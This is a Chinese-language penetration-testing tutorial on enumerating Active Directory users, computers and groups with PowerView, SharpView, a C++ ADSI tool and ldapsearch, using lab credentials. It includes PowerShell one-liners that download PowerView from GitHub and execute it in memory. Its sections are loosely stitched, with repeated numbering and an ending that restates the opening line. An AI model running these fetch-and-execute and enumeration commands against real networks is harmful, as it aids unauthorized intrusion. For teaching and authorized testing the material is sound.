本文將要以獲取活動目錄中所有用戶、所有計算機和所有組為例,介紹常用的信息獲取方法
這次環境中我們得到了
czf@zhong.czf pass:pass!@#4
zhong.czf域內的普通用戶 和密碼
也獲取到了pp.zhong.czf/ppo p:pass!@#4
子域的一個用戶和密碼
0x01 簡介 本文將要介紹以下內容: 域外獲取活動目錄信息的方法 域內獲取活動目錄信息的方法 使用C++調用ADSI接口獲取信息的方法
0x02 基礎知識
域環境使用directory database(目錄數據庫)來存儲用戶、計算機賬戶和組等對象
使用LDAP(Lightweight Directory Access Protocol)(輕量目錄訪問協議)來查詢和更新目錄數據庫
常用縮寫詞
- DN:Distinguished Name
- CN:Common Name
- OU:Organizational Unit
- DC:Domain Controller
其中DN有三個屬性,分別是CN、OU和DC
簡單理解:
域控制器默認會開啟端口389,用作LDAP服務
0x01windows通過powerview進行數據查詢
當然我們得先看看這個參數
0x01遠程加載 powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Get-NetComputer -FullData powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Get-NetUser powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Get-NetSubnet
0x02本地加載 PS C:\> import-module .\powerview.ps1 PS C:\> Get-NetDomain 獲取當前的域名稱 Get-Netuser 返回所有域內成員的詳細信息 Get-NetDomainController 獲取所有的域內的控制器信息 Get-NetComputer 獲取所有域內機器的名稱 Get-Netshare 獲取域內的所有的網絡共享 Get-NetRDPSESSION 獲取指定服務的遠程連接信息 Get-ADOPJECT 獲取活動目錄的信息
0X02使用C#實現
參照SharpView,地址:
https://github.com/tevora-threat/SharpView
:\>SharpView.exe Get-DomainController -Domain test.local -Server dc.test.local -Credential admin@test.local/password C:\>SharpView.exe Get-DomainController -Help Get-DomainController -Domain <String> -Server <String> -DomainController <String> -LDAP <Boolean> -Credential <NetworkCredential> Available methods Get-DomainGPOUserLocalGroupMapping Find-GPOLocation Get-DomainGPOComputerLocalGroupMapping Find-GPOComputerAdmin Get-DomainObjectAcl Get-ObjectAcl Add-DomainObjectAcl Add-ObjectAcl Remove-DomainObjectAcl Get-RegLoggedOn Get-LoggedOnLocal Get-NetRDPSession Test-AdminAccess Invoke-CheckLocalAdminAccess Get-WMIProcess Get-NetProcess Get-WMIRegProxy Get-Proxy Get-WMIRegLastLoggedOn Get-LastLoggedOn Get-WMIRegCachedRDPConnection Get-CachedRDPConnection Get-WMIRegMountedDrive Get-RegistryMountedDrive Find-InterestingDomainAcl Invoke-ACLScanner Get-NetShare Get-NetLoggedon Get-NetLocalGroup Get-NetLocalGroupMember Get-NetSession Get-PathAcl ConvertFrom-UACValue Get-PrincipalContext New-DomainGroup New-DomainUser Add-DomainGroupMember Set-DomainUserPassword Invoke-Kerberoast Export-PowerViewCSV Find-LocalAdminAccess Find-DomainLocalGroupMember Find-DomainShare Find-DomainUserEvent Find-DomainProcess Find-DomainUserLocation Find-InterestingFile Find-InterestingDomainShareFile Find-DomainObjectPropertyOutlier TestMethod Get-Domain Get-NetDomain Get-DomainComputer Get-NetComputer Get-DomainController Get-NetDomainController Get-DomainFileServer Get-NetFileServer Convert-ADName Get-DomainObject Get-ADObject Get-DomainUser Get-NetUser Get-DomainGroup Get-NetGroup Get-DomainDFSShare Get-DFSshare Get-DomainDNSRecord Get-DNSRecord Get-DomainDNSZone Get-DNSZone Get-DomainForeignGroupMember Find-ForeignGroup Get-DomainForeignUser Find-ForeignUser ConvertFrom-SID Convert-SidToName Get-DomainGroupMember Get-NetGroupMember Get-DomainManagedSecurityGroup Find-ManagedSecurityGroups Get-DomainOU Get-NetOU Get-DomainSID Get-Forest Get-NetForest Get-ForestTrust Get-NetForestTrust Get-DomainTrust Get-NetDomainTrust Get-ForestDomain Get-NetForestDomain Get-DomainSite Get-NetSite Get-DomainSubnet Get-NetSubnet Get-DomainTrustMapping Invoke-MapDomainTrust Get-ForestGlobalCatalog Get-NetForestCatalog Get-DomainUserEvent Get-UserEvent Get-DomainGUIDMap Get-GUIDMap Resolve-IPAddress Get-IPAddress ConvertTo-SID Invoke-UserImpersonation Invoke-RevertToSelf Get-DomainSPNTicket Request-SPNTicket Get-NetComputerSiteName Get-SiteName Get-DomainGPO Get-NetGPO Set-DomainObject Set-ADObject Add-RemoteConnection Remove-RemoteConnection Get-IniContent Get-GptTmpl Get-GroupsXML Get-DomainPolicyData Get-DomainPolicy Get-DomainGPOLocalGroup Get-NetGPOGroup
3.使用C++實現
參考地址:
https://github.com/microsoft/Windows-classic-samples/tree/master/Samples/Win7Samples/netds/adsi/activedir/QueryUsers/vc
https://github.com/outflanknl/Recon-AD
微軟的代碼是exe的格式,只介紹了QueryUser的方法,但支持查詢條件(篩選指定用戶)和顯示簡要信息(只輸出名稱,便於統計)
Recon-AD的代碼是dll的格式,包含多個功能,但默認只顯示詳細信息
於是我將兩者的代碼融合,代碼支持以下功能:
- exe的格式
- 包含多個功能,支持查詢用戶、計算機和組等
- 支持查詢條件和顯示簡要信息
代碼已上傳至github,地址如下:
https://github.com/3gstudent/Homework-of-C-Language/blob/master/QueryADObject.cpp
代碼可指定ADS path和搜索條件,用法如下:
(1)查詢域用戶
列出所有域用戶,只顯示簡要的名稱信息,命令如下:
QueryADObject.exe Current "(&(objectClass=user)(objectCategory=person))" ShortData
結果輸出如下圖
查詢指定用戶的所有信息,命令如下:
QueryADObject.exe Current "(&(objectClass=user)(objectCategory=person)(name=testa))" AllData
結果輸出如下圖
(2)查詢計算機
列出所有計算機賬戶,只顯示簡要的名稱信息,命令如下:
QueryADObject.exe Current "(&(objectCategory=computer)(objectClass=computer))" ShortData
結果輸出如下圖
查詢域控制器的詳細信息,需要知道ADS path為"OU=Domain Controllers,DC=test,DC=com"
,命令如下:
QueryADObject.exe "OU=Domain Controllers,DC=test,DC=com" "(&(objectCategory=computer)(objectClass=computer))" AllData
結果輸出如下圖
(3)查詢組
列出所有組,只顯示簡要的名稱信息,命令如下:
QueryADObject.exe Current "(&(objectCategory=group))" ShortData
列出管理員組的詳細信息,命令如下:
QueryADObject.exe Current "(&(objectCategory=group)(name=Domain Admins))" Alldata
結果輸出如下圖
(4)查詢OU
列出所有OU,只顯示簡要的名稱信息,命令如下:
QueryADObject.exe Current "(&(objectCategory=organizationalUnit))" ShortData
結果輸出如下圖
原文鏈接 https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E6%B4%BB%E5%8A%A8%E7%9B%AE%E5%BD%95%E4%BF%A1%E6%81%AF%E7%9A%84%E8%8E%B7%E5%8F%96/
0x03 域外獲取活動目錄信息的方法
1.Kali系統通過ldapsearch進行數據查詢
測試環境如下圖
前提:我們能夠訪問到域控制器(DC)的389端口,並且我們至少已經獲得了域內一個普通用戶的口令
這個測試環境中,我們獲得了域內普通用戶testa
的口令為DomainUser123!
連接命令如下:
ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com"
參數說明:
- -x 進行簡單認證
- -H 服務器地址
- -D 用來綁定服務器的DN
- -w 綁定DN的密碼
- -b 指定要查詢的根節點
這條命令會顯示所能查詢到的所有信息,如下圖
接下來加入搜索條件,對結果進行分類
(1)查詢所有域用戶
加入搜索條件:"(&(objectClass=user)(objectCategory=person))"
完整命令如下:
ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectClass=user)(objectCategory=person))"
這條命令會輸出所有域用戶的所有屬性,如下圖
為了便於統計名稱,可以選擇只列出CN(Common Name),並且使用grep
命令對輸出進行過濾
命令如下:
ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectClass=user)(objectCategory=person))" CN | grep cn
結果輸出如下圖
(2)查詢所有計算機
加入搜索條件:"(&(objectCategory=computer)(objectClass=computer))"
命令如下:
ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectCategory=computer)(objectClass=computer))" CN | grep cn
結果輸出如下圖
(3)查詢所有組
加入搜索條件:"(&(objectCategory=group))"
命令如下:
ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectCategory=group))" CN | grep cn
結果輸出如下圖
2.Windows系統通過PowerView進行數據查詢
本文將要以獲取活動目錄中所有用戶、所有計算機和所有組為例,介紹常用的信息獲取方法